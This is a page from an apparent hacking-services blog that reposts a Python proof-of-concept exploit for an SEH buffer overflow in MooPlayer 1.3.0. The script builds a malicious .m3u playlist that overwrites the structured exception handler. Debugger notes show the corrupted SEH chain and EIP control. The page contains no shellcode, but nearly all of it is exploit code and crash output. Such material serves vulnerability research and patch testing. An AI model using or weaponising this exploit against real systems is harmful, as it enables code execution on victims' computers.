Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86377365

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
#!/usr/bin/env python
##########################################################################################
# Exploit Title: MooPlayer 1.3.0 'm3u' SEH Buffer Overflow POC
# Date Discovered: 09-02-2015
# Exploit Author: Samandeep Singh ( SaMaN - @samanL33T )
# Vulnerable Software: Moo player 1.3.0
# Software Link: https://mooplayer.jaleco.com/
# Vendor site: https://mooplayer.jaleco.com/
# Version: 1.3.0
# Tested On: Windows XP SP3, Win 7 x86.
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
# After the execution of POC, the SEH chain looks like this: 
# 01DDF92C ntdll.76FF71CD
# 01DDFF5C 43434343
# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#	01DDFF44   41414141  AAAA
#	01DDFF48   41414141  AAAA
#	01DDFF4C   41414141  AAAA
#	01DDFF50   41414141  AAAA
#	01DDFF54   41414141  AAAA
#	01DDFF58   41414141  AAAA
#	01DDFF5C   42424242  BBBB  Pointer to next SEH record
#	01DDFF60   43434343  CCCC  SE handler
#	01DDFF64   00000000  ....
#	01DDFF68   44444444  DDDD
#	01DDFF6C   44444444  DDDD
#	01DDFF70   44444444  DDDD

# And the Registers

#	EAX 00000000
#	ECX 43434343
#	EDX 76FF71CD ntdll.76FF71CD
#	EBX 00000000
#	ESP 01DDF918
#	EBP 01DDF938
#	ESI 00000000
#	EDI 00000000
#	EIP 43434343
head="http://"
buffer=10000
junk="\x41" * 264
nseh = "\x42" * 4
seh = "\x43" * 4
poc = head + junk + nseh + seh
junk1 = "\x44"*(buffer-len(poc))
poc += junk1
file = "mooplay_poc.m3u"
f=open(file,"w")
f.write(head + poc);
f.close();

#SaMaN(@samanL33T)